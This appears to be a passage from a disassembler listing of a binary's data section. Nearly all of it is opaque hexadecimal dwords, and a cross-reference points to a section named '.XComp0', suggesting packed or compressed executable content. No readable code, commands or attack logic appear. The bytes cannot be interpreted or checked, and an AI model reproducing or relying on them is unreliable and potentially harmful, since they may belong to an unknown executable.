0B002C0B6h, 40535287h dd 0E41CA82Bh, 31BB3E5Ah, 3B9A5527h, 5253BF20h, 1B905A5Bh dd 0A7290DD7h, 114F6430h, 138A9BB9h, 16115431h, 96EDD116h dd 130FC008h, 0E821A45Dh, 4BE9166Bh, 0CB25280h, 23107848h dd 5B54C435h, 0C4C3999Ch, 0B8ADE965h, 0CB9B5C27h, 50F68053h dd 9701356Ah, 91590709h, 67BC0649h, 4FC701DDh, 164A831h dd 69A61CFh, 59699508h, 30FBD35Bh, 0D6569D38h, 54F04C4Ah dd 0ED08B7F2h, 39DA13D9h, 6AC2D9D0h, 87E8C324h, 4C806310h dd 0EF8716AEh, 61163619h, 0B2E59C5Ch, 8ABD6Ch, 11680426h dd 0A184823Ah, 4EDC101h dword_4F5454 dd 695030h, 29A00553h, 595F5DE8h, 0A1685601h, 5E786639h ; DATA XREF: .XComp0:004530ECo dd 0AB40A328h, 0A962102Dh, 6D58242Eh, 3E591203h, 0F7127873h dd 0DF680843h, 0DD3B0E9h, 0E0A0036h, 2150BB53h, 88B80703h dd 424B5C5Fh, 0B7F0EEh, 9C4AB5BEh, 5EF73141h, 48F82927h dd 9F6ABCF8h, 0FF688FB8h, 0CE8D2E5Ah, 4931DC0Ch, 0EA00EDC2h dd 165567BCh, 0CA5D015Fh, 0E100D26Bh, 0C33666BDh, 0EA29165Bh dd 876A2C5Dh, 95B7144Ah, 59F4E916h, 0FCB2EB20h, 7712B753h dd 0D606FA08h, 52671D69h, 6425CE7h, 21847E48h, 0D583BCC8h dd 0C5512D26h, 0A95C44FAh, 234D1334h, 0BB8EF8A3h, 0E9511178h dd 18B217E0h, 0B2031200h, 3D4A2D6Ah, 201CB05Fh, 0BA07169Ch dd 210730ECh, 7C5128A2h, 541B62DAh, 0A79D8209h, 6B415C63h dd 6D099802h, 4C97CFE6h, 0A0D8BC7Ah, 0D9E82C91h, 44214F8Ch dd 2A537A9Eh, 905EA89Bh, 82C9E97Ch, 0CB1993BFh, 32FBD153h dd 0F8B81480h, 484B5272h, 344B1EF6h, 0F02043C9h, 0AC1426B1h dd 0F9B80700h, 1255F79h, 0F5ED21C6h, 4E242493h, 99A2B369h dd 4008AB1Fh, 0C17A1DD8h, 82E5B674h, 97BE2B77h, 1E37A2D6h dd 0AB28633Bh, 66350726h, 0E3C3FE59h, 0E705A07Dh, 0CA3E75E5h dd 33362C1h, 5E20CA2Fh, 0E24FE9Dh, 348B8ABEh, 0F4DEB04h dd 3D8AA450h, 94809593h, 3B2AB561h, 66FBC330h, 0C043629Fh dd 69C058BEh, 45546DE9h, 9F9BF3DBh, 0CEBEA225h, 2FBEF1ABh dd 1CEDB596h, 0E0D1015Ch, 3507E8C1h, 7014AC47h, 3B86064Bh dd 63C10739h, 67575916h, 0A579C1C9h, 62E1F023h, 521C741Fh dd 5529F101h, 248A24FAh, 48920ACh, 98257B68h, 9CE233EFh dd 0E931700Ch, 1E98E25Dh, 53467316h, 43156F9h, 0C11C3E0h dd 7F425C58h, 3F624804h, 84287901h, 2E44E901h, 0ABF0C517h dd 29B2403Fh, 4D2FF07Eh, 96B5E490h, 0B83DC3D7h, 20282A20h dd 0F7126D4Fh, 7F053DDh, 24120B5Ch, 0BB808914h, 0EA166DBBh dd 23292E24h, 305DD2Ch, 9409C833h, 0BF9C20DAh, 60E42E1Bh dd 7CF0425Fh, 80BD4DC0h, 543EEB59h, 0BD553831h, 0B6C34450h dd 335A0979h, 631D706h, 859509F8h, 0F9FC5E2Bh, 4BFC68A0h dd 938798B5h, 41A6A13Fh, 6AAA047Eh, 9094E8DFh, 799277A6h dd 0C680895Ah, 1A30B0E5h, 0AC4D42A7h, 0DB054900h, 0D5C9328h dd 4D0825DDh, 0E25692B5h, 2BB4A409h, 13E82568h, 0E92F26CCh dd 0DDABC8CBh, 42949774h, 0F425DA8Eh, 68249090h, 9A424822h dd 0AD52CAh, 26D30617h, 0EEF0CBBAh, 0EA011C05h, 27302C8Bh dd 2EF070B8h, 86D7BD29h, 8CD513E9h, 1C4EBB04h, 2CE80CD1h dd 0EC7BB212h, 0A6A89226h, 0BD4255B8h, 6BE98101h, 217F354Ch dd 0BA64459h, 25E65D08h, 0B061DFFCh, 2C08384h, 667A4E2Bh dd 15EBCFAFh, 0ED80B760h, 0EA201616h, 795F197h, 129376E8h dd 0BFF6C402h, 236D5C46h, 53FA26A1h, 2FB00B45h, 9B541332h dd 2729EB6Fh, 8E645D22h, 78055AD5h, 32C1CE32h, 473C5AD3h dd 6C7CB0A5h, 6ED65805h, 5DF88CE9h, 4E1F777Bh, 4844B3CAh dd 0A12E2CA9h, 0D6C30452h, 48F05A0Bh, 0EA1D5F2h, 568F5350h dd 3331C020h, 42268F64h, 305C1D2Fh, 825208F0h, 0DCED2240h dd 4D45DF05h, 0E85AE889h, 5724460h, 0B17233C7h, 0CCE2B049h dd 39122917h, 40E1E9C8h, 0C5328079h, 6D86CBh, 39CA055Fh dd 0C054492Dh, 81723CEAh, 1FBF2050h, 4BEF140h, 38E40A98h dd 1021BE01h, 0AF89764Dh, 855EAFDFh, 0EE41D480h, 24FD3117h dd 24F0095Fh, 1F5C03B8h, 91B76372h, 0C9E66E77h, 0F4EA6149h dd 37CEC2Eh, 89C52B5Fh, 6318DEADh, 0CCEEB91Bh, 5AF42805h dd 0B088E130h, 78484115h, 304F3FD3h, 671A0C5Eh, 0A355FBAh dd 3408EDE7h, 5F14070Ch, 8C2DA83h, 622FFF0Fh, 0D03382BFh dd 5D7C6EBh, 4A6ED22Dh, 5AFACB4Eh, 1C68518Ch, 0A78E3C14h dd 23B67C5h, 5A6058F6h, 3EF8F611h, 0C69214B0h, 3F0DA8B4h dd 3B5D5607h, 0D0A01A44h, 5BD90088h, 0C05AF130h, 681306E1h dd 0AB3408A0h, 9CE70BBAh, 0C40C1C99h, 0F7264EDCh, 10326DDFh dd 0A31661B2h, 0ECA5127Ah, 6FC35C75h, 61AA406h, 5EC18ED7h dd 993A2C31h, 62B908E8h, 8D201541h, 5A5043A1h, 968F728h dd 0EBA27D1h, 0E5252AFAh, 88826D16h, 91206520h, 4D5E3804h dd 33BA5F70h, 0A94EFEFFh, 0BC9308D7h, 0F535038Ch, 0D901E4ADh dd 1CC814DAh, 1699C828h, 5202C481h, 0C12BE2B2h, 9DE44A92h dd 0EBCDC527h, 7CD44B70h, 24967B08h, 1511DE29h, 0E4506C20h dd 5B014047h, 5CDC629Dh, 0B3803A30h, 8968C406h, 7931E9DDh dd 0AE4EDB6Ch, 5AE96AA4h, 438262C2h, 0E1AB3027h, 0CCADF495h dd 0B31AA8B4h, 0F6458288h, 0F3488390h, 128A308Ah, 13F08A59h dd 7E569FE9h, 0CFA64513h, 8F761418h, 413209C1h, 20F1D877h dd 84371405h, 0DF81685Ah, 4D03266Ch, 6258B1h, 0E2FEC180h dd 3C07BC9h, 0CC885002h, 0E1A1DCF6h, 32CD4158h, 5D017AFEh dd 5AD13003h, 0E059CBF8h, 819EBFD8h, 21406879h, 79766BE9h dd 6B9788FBh, 6859B14Ah, 0E8CD9C09h, 3D3DBCDAh, 53902F8Bh dd 245C2763h, 0DDE00A85h, 0F8313C66h, 0BB3CC415h, 6FEBC541h dd 7CC50D06h, 5E3DCC88h, 2B4136A1h, 51520240h, 1728F1B9h dd 0F1293EF3h, 9D1B6333h, 17AC6993h, 0B1FEDAC6h, 25FACB26h dd 0D3F70403h, 0D087F24Bh, 8C6827A3h, 917001C8h, 0D78975D3h dd 0F1878803h, 6074AD07h, 0A3484B16h, 98B510CAh, 51000D4Ch dd 0F7061D63h, 0E001C1D8h, 4F7C2D07h, 732CA14Dh, 0DD63A297h dd 25A420A1h, 0CD902C6h, 0C5C5E944h, 9CDE0C23h, 0A72F0EB8h dd 0CAFA1D09h, 862C6A0Bh, 393A8D7Bh, 0DB809CD5h, 0F580CCB5h dd 0ED3BC0ECh, 3DCD1E06h, 9E93E54Fh, 0D517EE5Ch, 39127AB2h dd 41A6F45Dh, 7B61663Ch, 0E2C4764Fh, 0AE845EF8h, 2133BF57h dd 0B3FCF4E9h, 2CF2912h, 0BA1973C8h, 273800D5h, 0B3FC40Ch dd 0A5E94759h, 569E06F8h, 7ACC9652h, 0F939857h, 5B446217h dd 1EABF3C0h, 895B5DD9h, 8241EC04h, 4A528C14h, 0C6DA1225h dd 0BACA345Eh, 567F9884h, 75F0B9CDh, 8191D4h, 67C55452h dd 65FAEE29h, 9D2AEC95h, 0D65CEB64h, 39E630ADh, 2E624BF7h dd 73D43FCh, 0B24DA9E7h, 92804F58h, 12CBCACDh, 4002F9B0h dd 143041Bh, 91642F9h, 0A3CCC808h, 0C780801Fh, 2B05E558h dd 5704CAAEh, 12AED568h, 0B551EC3Fh, 26D3C4B8h, 0ECB920CAh dd 0E94DC798h, 0BEE1C169h, 41F35930h, 6A4357DCh, 0D4B8ED25h dd 0E78CD00h, 2EE966A5h, 0A057C40h, 5D876820h, 0FD8009CFh dd 2E4D80A0h, 2D8121C5h, 3D850744h, 966E444h, 6147F9E4h dd 360A37ABh, 0C676A601h, 0D3A72913h, 0ECE5AE4Ch, 665EC9FDh dd 97FF9864h, 19B60F13h, 1F6EB901h, 0CE09743Dh, 66DEA0F1h dd 51660E92h, 0CB0BCCB1h, 0C3090B0Eh, 0AD582C56h, 0A0B4D2B9h dd 0D59432D7h, 2747CF2Dh, 50518540h, 330B8958h, 0A95A4580h dd 0F0C10FF6h, 973264ECh, 0D3D5D20h, 12067CDh, 5D0881EEh dd 0A6021E92h, 2CD315FAh, 0AA9E10A9h, 0CD5E501Dh, 780EB4F5h dd 0B9D3CE05h, 6810882Dh, 5017419Fh, 0C4825E5Ch, 5B887556h dd 0A2287ABh, 0F589834Ah, 0F0DDD5CFh, 0C900C5C9h, 2D7393CBh dd 0ABD6C8Dh, 5E80108h, 85F32607h, 0A7595451h, 0F801C4BBh dd 7DAC48C0h, 0E96109A1h, 219ADC71h, 1C59B57Ch, 4EC972h dd 0C3BA5296h, 1F05CF03h, 0E009E94Ah, 0BBAE396h, 6045ED81h dd 45585605h, 549AE9D3h dd 0C3273B83h, 87BD9314h, 3CC5E9E8h, 1B0E73A9h, 43093734h dd 7023A782h, 50438109h, 0F6E85853h, 27DF9AB7h, 0D2515DEBh dd 708AEF01h, 0B4F723BAh, 80B0FC4h, 0C06A925Dh, 4310885h dd 326892C8h, 7F42CD51h, 85EAA828h, 0F9C7E90Dh, 3F1E3D2Ah dd 840C5535h, 1F64D92h, 0B907DAEh, 4206E6C1h, 24D52A8Fh dd 0F1E2174Dh, 24045789h, 1AE013C6h, 26B6EE1Eh, 20DC09F8h dd 67FE38C9h, 0F29466BFh, 3D2899F5h, 3CA27FF5h, 892771C9h dd 0AC12978Fh, 2E80AC18h, 388EA2E2h, 1716F04Ah, 27298240h dd 81A22DE8h, 0C7515895h, 5E7EB940h, 5E09F6D9h, 0D10F31CDh dd 0FB1220EDh, 7F51EF75h, 905472DEh, 90FF89E6h, 80F88F63h dd 255BAB68h, 0CA4AB89Ah, 3CE90BD7h, 0CCFD6876h, 4F1CB992h dd 0EF674464h, 4220C39h, 72912196h, 0B6F510F6h, 53AF3216h dd 1D8001D8h, 8C1B2DCDh, 0E57E137Ch, 0F6077FAh, 1CD6AB30h dd 91E91903h, 0DCE347ADh, 17BB806h, 5F96DE59h, 0D0518992h dd 0C689049Dh, 80DEF758h, 7D7BFE23h, 0EED17F18h, 1FDFA710h dd 67E97CE8h, 0FA87E740h, 8C3D7EAh, 88A4BE56h, 0B2952DEh dd 0D1015EF2h, 89841C96h, 44EDF731h, 0E6FCFDBAh, 3886B535h dd 479D5DC2h, 0C2382CDDh, 12C05650h, 2A017FCCh, 0E9FE890Ch dd 372E72ACh, 0A04A94CDh, 0A6B35E83h, 0BBA26812h, 20E2F1D2h dd 0C54DE976h, 3ABE035Dh, 0D15F8B1Bh, 413A0D3Bh, 34B7070Fh dd 0BB1730DDh, 2B091271h, 0D84CE97Eh, 3FBD4DCCh, 0CB17399Fh dd 0D9860E59h, 0CC548DE5h, 0B52D687Bh, 0D8AC1270h, 0F0F12D5Bh dd 0BB1FB9EEh, 0E39E9D16h, 4BCFC42Fh, 0CBFE1321h, 63680984h dd 5069181Dh, 6FC36CE9h, 1C1A4BBAh, 619817B3h, 1D3FF1D8h dd 2762E5Eh, 0E84CE3B2h, 27EE0B60h, 115360Dh, 8016ACBh dd 852E84E9h, 3C702984h, 8301D3C2h, 0A5FAE95Dh, 68E68F82h dd 0CAF974E0h, 0DE0917A2h, 519FEBE9h, 94512517h, 0E26AC340h dd 860953Bh, 80823254h, 422C9846h, 1E5D9063h, 0E7DD3A44h dd 6501666Ch, 315E0805h, 28805FFEh, 6B9713BDh, 40547AE9h dd 4B60DFA2h, 0F0F78106h, 1CF33B1Eh, 1A68E702h, 0FF6056C2h dd 211882D2h, 14A2976h, 6B379CF1h, 34BFA4D0h, 9FE492C5h dd 1E4BD44Eh, 73B25E13h, 0B3605C4h, 9498FC0h, 830561FFh dd 226F04E5h, 614B85D3h, 9744BBB4h, 89442744h, 0E8ECC1E1h dd 0F879D521h, 9EB77BE7h, 0FC712C1Ah, 2A5BA585h, 0C8856684h dd 0A643A1C1h, 0DB22BF04h, 7F0F5F56h, 0B2B51D90h, 66C09FD3h dd 0CEF5EF80h, 0D70FE806h, 7BB0C70Eh, 0CED9E91Ah, 5A517E71h dd 14F61342h, 8D1C789h, 0C8253A0Dh, 60FBE914h, 0E2B044E5h dd 0D0E4D8F6h, 3EFA3BFAh, 622C056Bh, 9FAD8F4h, 55D8295Ch dd 4DFB2983h, 1FBD58F0h, 7D44811Fh, 209CE0A5h, 0CFD88396h dd 0ED246BC4h, 0B302013Eh, 4073A861h, 14D6D713h, 9609F933h dd 0E3E7A655h, 7A0876D2h, 40D141CEh, 0F3374A8Fh, 0D207404Ah dd 0C0299EDh, 0C8B7F3Ah, 0D252775Eh, 99FA3058h, 5861C28Bh dd 534EC62Dh, 0D04C259Ah, 0E9F9F705h, 9AACAB64h, 8C685380h dd 704FBF56h, 4CEF318Dh, 1660C673h, 0C75E95Bh, 4E0B72B1h dd 0F9B7A9A5h, 93FABFBh, 0E1D897E9h, 0C9163348h, 8895D4FFh dd 1B27F1DAh, 51D8817Fh, 0E6645361h, 40473C8Fh, 29509227h dd 4CBC59Bh, 216541Fh, 5D7BC251h, 316E847Fh, 0FAE72DBAh dd 0E720ED78h, 56D3BE2Eh, 89EFE92Fh, 50630295h, 49B87D99h dd 30FE665Ch, 0A464BDFEh, 9EEC5B2Ah, 21EC13Dh, 3442D368h dd 7EDCB977h, 64901D2Dh, 0B86812E2h, 66188839h, 0BDB35307h dd 5B61DE88h, 0D589F030h, 9B6C5456h, 0D02C08BEh, 20E53C1Ch dd 74F38169h, 712E26CAh, 0F92984F4h, 0D59EA5Fh, 0D820598Bh dd 390E651Ch, 39A601DAh, 0C42D73FBh, 2A3B78A5h, 23C0010Bh dd 0D029580Ah, 0E0DC2260h, 6D2760C8h, 4B72A2C3h, 1B3F58h dd 0BF794E05h, 3C54972Dh, 769E0EE2h, 31C32F55h, 0E90705E5h dd 57C3B003h, 0C256C2CBh, 0B39425Dh, 2A747198h, 0FC8839F2h dd 53582213h, 0F4E4AD5Ah, 59CA97BCh, 0D22B490Dh, 0E9E74474h dd 88DCA00Bh, 4E585BFDh, 0E3190966h, 814A04A1h, 2F73FCF2h dd 44B17B4Bh, 18CCCAE4h, 1E0D431Fh, 4405E8A5h, 5AD03126h dd 122C9700h, 0A043574Eh, 0EC6BA9CCh, 48E91234h, 790BE39Bh dd 7327B425h, 4FEE0865h, 2DB4513Fh, 7F31D20Ch, 377D5EBEh dd 0F028A500h, 83B1515Ah, 685A18B0h, 0D6384CB3h, 0C84C1592h dd 31F025B1h, 0C8011B3Ch, 87084185h, 475DF60Ch, 96EFC9EBh dd 0CA4EDC28h, 507604Fh, 50E97A57h, 0E1E49D38h, 1809CA3Ah dd 30CCDB4Bh, 0B22DEEF8h, 1E99B225h, 0C81C5F21h, 0C0011A0Fh dd 682C07E8h, 9E557FE8h, 5A6D8216h, 0E5C3BADh, 5C2EA25h dd 29C2580Bh, 5EDA525Bh, 0B8D590F0h, 0C7175CEEh, 0FF1C0976h dd 81039DBFh, 0B4E4C83h, 710C3321h, 545A0FEAh, 190C5396h dd 5E182E0Eh, 1A861CBh, 0CB91E908h, 54576212h, 8387A2E9h dd 6DEB6FEFh, 80557EE1h, 171653Ah, 0C06ABD1Bh, 0D531D0BCh dd 516B68E9h, 8E8780E5h, 26327729h, 2D615658h, 1BEB03C8h dd 5301F12h, 348FF150h, 95867195h, 95CF9DFAh, 43C86693h dd 46A2415Bh, 0BA070BC4h, 70FA226Ch, 69ED12F4h, 6AE124h dd 3AC90A55h, 4B31DBF7h, 7030C281h, 2000007Ah, 25241A26h dd 1107F600h, 47DC0D3Bh, 2D01009Ch, 0F302048Dh, 0F0CBC309h dd 88635987h, 5F2846F4h, 7220C978h, 3C3B5D57h, 0A29F0735h dd 3BF359D2h, 359AE014h, 0C0792E4Fh, 0F3651D88h, 0CA4EE996h dd 0ED547813h, 145C0B6Ch, 83108522h, 0F24BD6ECh, 0F8C9DF4Fh dd 5D781938h, 5EB1A360h, 0CBDA550Dh, 576E0412h, 0C619EDAh dd 19939EE9h, 0A01FF6D8h, 809726EBh, 6CEEFD89h, 0BA2D0097h dd 65EF67D7h, 82EAD837h, 25D474CDh, 0D294B10Bh, 54922D9Fh dd 2A56EDBh, 7533D08Fh, 2BF1FE18h, 0BE6C659Dh, 82BED894h dd 0C04013DEh, 0E764B89Dh, 789BD225h, 3D289E8Fh, 4042D980h dd 0A171E9B4h, 22950FBAh, 5770DA7Dh, 12AFA830h, 543C9195h dd 0E91B306Bh, 0C69F3216h, 0B63250Bh, 0EA6431DBh, 50005336h dd 0CB56A168h, 0B0F7587Dh, 0B28E5AF6h, 0E5010372h, 7F31F999h dd 0FC5FF3h, 6FD6BBB6h, 6BFD573Ah, 0C158FBD2h, 0D44BD48h dd 12A49DA8h, 3432FDC8h, 4ACB3929h, 0B5E95F05h, 18F1CDAh dd 0EF8058C7h, 0A3EAEC69h, 0A071B692h, 37F93080h, 0B208C7FEh dd 9675C199h, 0AF4C97C5h, 59CE0104h, 0B2A022E9h, 77BF0205h dd 0C23172ABh, 50BE1860h, 5D345B00h, 7645F681h, 3D62B040h dd 0CD1870EEh, 0C14F0C2Bh, 2979E117h, 8D27C6A8h, 0AD092F09h dd 0F8FA342Bh, 39F15C5Ah, 135D8B6Bh, 69987420h, 84E92D53h dd 0D85452E1h, 0DEB65288h, 37C38041h, 8B2E5B30h, 0F8020ABh dd 879E1C84h, 3C8B6804h, 31C0CBACh, 59751E0Dh, 0C6DEFFDCh dd 1A6DAFFCh, 841309FAh, 51039240h, 0EE92C588h, 5E525854h dd 0B3E46CC6h, 3952AC80h, 5DFA1AB6h, 904C9273h, 0F4215E12h dd 68135565h, 60614CF0h, 3101560Fh, 260960CFh, 0DED1C94h dd 82EA6520h, 0FF5B8D5h, 0E9C817BEh, 653B52A4h, 6E097971h dd 38E8F049h, 865F75B0h, 0A09F70F0h, 39D2C292h, 2777B0FEh dd 427A3E3Dh, 5104C52Fh, 0DBE9E189h, 0B0226AD9h, 23C902CCh dd 20BC9ED7h, 8D969F2Eh, 0B9BF40E9h, 21F90060h, 0B1093BBDh dd 0C0823103h, 32697E4Ch dd 85742248h, 0C2812A74h, 33145EBBh, 602EAD8h, 15DCA12h dd 8831CF2h, 42141C41h, 0D4096Bh, 76838C2Ch, 9901C180h dd 0C6D859F1h, 6A06CE19h, 0A38ECE0Bh, 1EDE06BBh, 28A9EB09h dd 0B35A0EF3h, 9598F9A4h, 0EACD6B8Bh, 2DE27B2Ch, 9622669Ah dd 3BBB42FEh, 0AD01647Ah, 8147BC09h, 70F0D1CEh, 5809B013h dd 0A997FB1Eh, 4D277B7Bh, 8C2D519Fh, 190E292h, 0A3E2D74Fh dd 88A2B101h, 0CCFE59C8h, 0D3FC352Ch, 0ED513864h, 0C115AABh dd 0E91D2155h, 447FE1D6h, 81488C29h, 60F729CCh, 4828A22h dd 508D7EFAh, 0AD8E396Fh, 9825314h, 0A721FBE9h, 78F1F766h dd 0DC207B20h, 3050763Fh, 0E5A12251h, 0D32F23C8h, 0F5F8040h dd 0C07A721Bh, 0AD12820Ch, 0EA0D0188h, 3483F9E9h, 8140C07Ah dd 0DE272DF3h, 1237743Ch, 47A4A53Dh, 9EB53721h, 80536784h dd 3B43A042h, 78895F2Dh, 9ECB0557h, 1590B42h, 456B7DB9h dd 0A7EA6060h, 137A2018h, 2F86870Ch, 9B0F218Ah, 7429CFE0h dd 0E9136322h, 0F5FC904Ch, 4AAA69A5h, 8E90A9Dh, 26B0817Dh dd 0E8FD1795h, 83B1A629h, 6723090Ah, 0A882485Bh, 0C9D4A9F4h dd 7DC5F393h, 8C7642B7h, 68193A90h, 1C882B2Ch, 53D85Ch dd 0CFFEA1B7h, 8003EFC0h, 60BFFEBh, 70FDE9F6h, 0C7882C32h dd 9DC221Dh, 9CB6C935h, 0F8C67C84h, 28C00404h, 32B53B8Ah dd 65AA0805h, 60F0E005h, 0BBC5C660h, 0B09D0B50h, 84D85B77h dd 459AB29h, 2D3B5438h, 0A88E6F58h, 51675C31h, 9ACADEE9h dd 7FBB1DC0h, 1633232Dh, 0C09E35BEh, 7D39A028h, 68311145h dd 4A7ABAF5h, 86F88ABEh, 2C2815B2h, 0E403320h, 0EE4A63BDh dd 73E7ACF3h, 0D1F74197h, 977EE1CEh, 0FCC12102h, 0A40B3A4Dh dd 97EF052h, 34426DAh, 9F56785h, 0CB0B5A07h, 0EFFA57F2h dd 0DC30E509h, 9A6D0036h, 955A8810h, 80D986Ah, 5E14021Ch dd 48978FD7h, 0F1073FE3h, 0C056C162h, 922A7405h, 0C8286E76h dd 35B0072Dh, 31AE9D30h, 0B082444h, 351633Fh, 0E90282AFh dd 0BE7348CBh, 7D129AA5h, 0C5E94A02h, 5F175254h, 0DD3ED38Dh dd 37646EE7h, 0E9C458ECh, 3B7DBCD4h, 0DB853D55h, 22E96624h dd 5F001F0h, 546D470Ch, 88B0D644h, 5D1687EEh, 560E465Fh dd 0A41657F0h, 0E31EB7FCh, 173871Fh, 1DE985D1h, 84B4B08h dd 461704F2h, 3080A20Ah, 5F4A0D3Dh, 0C2904B74h, 0C8D85643h dd 0A22DE970h, 0EB752E9Bh, 598650ABh, 9334B3D3h, 0F7EED81Fh dd 5768F90Bh, 5077992Fh, 0DF7CB260h, 571BC92Fh, 62258BDBh dd 40ABF95Ch, 4F69BA52h, 0B554F324h, 5961AF00h, 4D99E94Dh dd 0E504A644h, 0C1D5F706h, 0C78CBh, 0A8569968h, 61B95132h dd 19E95BFEh, 0B7DE24F8h, 0FC4A6170h, 1C08D28h, 0EC8002E4h dd 96CCFE58h, 0F308A70Ah, 77290979h, 0F0961F1Ah, 97CE4595h dd 2210355h, 0B82057FAh, 4301BF03h, 31557D2Dh, 6F68F0E1h dd 0A9265E24h, 5A896C1Eh, 992D606h, 0B75BC183h, 9354550Fh dd 60C61804h, 3C87E8D1h, 30178673h, 28C5DDD8h, 0DAE9C2C4h dd 4E5662Dh, 701D26B4h, 44C11001h, 8BA5409h, 1C4A4220h dd 9ED6F74Eh, 1E278CDEh, 9A628751h, 7E472972h, 0A885456Eh dd 0A8CA4B3Fh, 0A5B9667Eh, 279DE659h, 885821B7h, 86031FD9h dd 7BD1F6CAh, 10374A08h, 0DD8FA66Ch, 567E24Ch, 0CD10C012h dd 57046B13h, 0F1F82BFEh, 0F14A169Eh, 0D2F7D09Ah, 7E2C117h dd 0FE192A0Bh, 0EBE5817Bh, 60382671h, 714DF06h, 0DDC43B52h dd 68565047h, 40852E77h, 0E01AE1C1h, 139E6778h, 319E4A9Ah dd 0DCA80991h, 6D18EDD2h, 0EFBCB662h, 1A12C307h, 0C826A930h dd 3E0185DFh, 89E8A35Dh, 0F514E27Ch, 0A005C75Eh, 0BB022155h dd 6544AB43h, 3AA9D0Ch, 51E36CAEh, 44CEAE0h, 19B7F01h dd 1325E9D3h, 0B66BCC3Fh, 0D5B3064Ah, 14019D04h, 0A54DB836h dd 32A94F01h, 0C9A08B9h, 0B80A03FFh, 40593FBAh, 0DB04455Eh dd 0AA8A761h, 38591C68h, 47033840h, 505D0043h, 60068FB8h dd 4ABF213Bh, 0A869820Fh, 82A176BBh, 72D2334Dh, 5C4E98D2h dd 454FF888h, 0C8A3A99h, 531D4132h, 76B1D681h, 1E807BBBh dd 286CC5E6h, 60DC79B4h, 68C26BA3h, 376E265Bh, 59DCE00Ch dd 9C2EE9CCh, 0E4BA12D6h, 57260978h, 1444011Ch, 927867B2h dd 6D09935Ch, 8ACA3A34h, 0B188858h, 0C388B1F7h, 0CF6A20E5h dd 4BF1879Fh, 30B1B265h, 0DAFDD1FDh, 9542CBD1h, 0A839D1E5h dd 71D60F14h, 2BE927ACh, 0B9055E50h, 6FC97B40h, 16313FEh dd 0AF11D227h, 0EC449009h, 3543250Eh, 0B2051640h, 7A7AD459h dd 0CB71270Ch, 24601461h, 18F9ACBAh, 0B1C6DD29h, 391D341Eh dd 52D6267h, 2CEB5D08h, 0A29F665Ah, 0F9870889h, 91C6AD13h dd 7DD9EE09h, 1258D8C7h, 919452E9h, 20A8CF59h, 0A7F84ED3h dd 0B3289DB6h, 660FBFFCh, 0F53931Ch, 0BD3FDF7h, 207A75A6h dd 68257238h, 76AEE2D5h, 34445168h, 354A4E76h, 6468CD21h dd 357D4E38h, 0B878A70Ch, 2925050Ch, 7DC02B08h, 9876648h dd 0A565E967h, 2E6109B0h, 0B63659Fh, 2B2709EBh, 0D0F474F0h dd 3B462587h, 512420Fh, 133A1BAh, 5776C689h, 41871A50h dd 6517D3AEh, 0ADB37CE0h, 0B1487806h, 0FC418E60h, 171ADE64h dd 0F831684Ch, 4ABA90C3h, 945B01A9h, 0A1BCC3B6h, 2173E1C0h dd 0AED7B1A2h, 0B5AE6114h, 3830DB91h, 9B7402EDh, 4147E95Dh dd 3A115249h, 977E3681h, 0DC87B701h, 55B46002h, 0A3A6861h dd 36F87CEDh, 0D1CC77Ah, 583E5326h, 0D8C8C1D2h, 6773C580h dd 0AC86ED3Dh, 529D383Dh, 0B3FA928Ah, 454CF0A5h, 2972F4CFh dd 53616681h, 255640CEh, 0B31F0CEh, 844DE9F5h, 64E2A9F6h dd 885B7109h, 462DEEA6h, 9A5C4C47h, 0E2C67B27h, 54E70B69h dd 0D09CCF35h, 0E8D11D37h, 0DBC0DCC9h, 0E25292A3h, 0AF680952h dd 605AFC48h, 176D433Ah, 6EF8103h, 0B00FE12Ch, 3014C5E7h dd 0B918324Fh, 0B24317Ch, 8527AA47h, 6B83C082h, 0D4269F30h dd 1C65B008h, 0BCE58851h, 0B9EA58F4h, 7D6F8518h, 0EF7380F7h dd 0B5C526F4h, 9FC0565Ah, 4AAF0F3Fh, 45D09473h, 2190BEECh dd 5C172C2h, 7A652E80h, 0D13A2740h, 0C04D47C1h, 5790627Ch dd 7A3E362Fh, 0A7B92901h, 502DBF99h, 770D589h, 0CF92FCF0h dd 0A2565960h, 0B87BB219h, 0B1494C76h, 0AED5C3B2h, 0E98A5D67h dd 6884848Ch, 35BE3539h, 0DEF438C3h, 5BBDF04Dh, 23F5E8F1h dd 0B4505A00h, 1925F979h, 0B2D3CE81h, 16E191B3h, 0B541B866h dd 675029B3h, 4FA0B563h, 0AC1DFCBBh, 0F98D3850h, 0D23C6848h dd 75B70616h, 0A080EB27h, 8B65A9BBh, 294D7658h, 98A8A2AFh dd 33133F64h, 0F70204A2h, 232C68E1h, 0B088CC53h, 805B0295h dd 0AD71E3C2h, 0CB8733A6h, 0EBF05A59h, 9B652FFh, 0BBF7E996h dd 173CF651h, 0B52DF20h, 0F1CEEA0h, 10DDE09h, 5C499192h dd 3E683A50h, 0F5754BE9h, 3F254752h, 5A84EC29h, 0E4E18947h dd 3E4B5768h, 0E1FB1F37h, 6EF95E57h, 32127B7Dh, 958AA969h dd 0CBF09616h, 0C157408Ah, 0C2E55Ch, 7F7AA3EDh, 0F04D453Bh dd 47CA09CDh, 39584C1Bh, 1264101Fh, 7A2EB00h, 0ED0141B1h dd 844C3F9h, 5D2D2AB3h, 0E9054FCFh, 56E2CE0Ah, 8C383951h dd 2C6BF745h, 73417E36h, 12C59B64h, 5D150856h, 29584B62h dd 6A9F4AF0h, 5F1104DEh, 85134ACAh, 3145CA30h, 94F51CEEh dd 0A75EAB05h, 354F2585h, 749F8907h, 97013195h, 0FC7A4689h dd 0EEB9EBD1h, 0B2067CBAh dd 0CD70E92Fh, 27E5505Ch, 2FD75290h, 7F855AD0h, 3D6BD55Dh dd 0E6057E9Ah, 4AB840C2h, 0B7B0D3F6h, 1E31145Eh, 8F2A1CA2h dd 16207F44h, 0E8C11E6Fh, 825B1210h, 0E7E30CAh, 0CC1BD927h dd 0E9E8B478h, 358FB5Dh, 0C96188B8h, 3655D122h, 0E480A657h dd 902C5D31h, 16F707EEh, 0D04B7DF1h, 0B815E6E3h, 0E025448h dd 0D7AA6455h, 7B0A7802h, 0E5AF801Eh, 40F33A51h, 213F4129h dd 63E4885h, 46A06486h, 4BA0B24h, 0C6603F44h, 59585C4Bh dd 74A35E6Eh, 42E60776h, 0C027721Ah, 0CF3791CEh, 43E94A0Bh dd 0CF6E7980h, 0C98977C6h, 2762ED06h, 0C726B4Fh, 1EDD7CC7h dd 0EF7E3E8Ah, 3086FD51h, 4A5AF4F6h, 41846DA2h, 15ABD3Ch dd 0C6EDB05h, 0CC7F5E6Ah, 0F24DE91Ch, 185A271Ah, 0CBF0F69h dd 736D68C8h, 8F41CE99h, 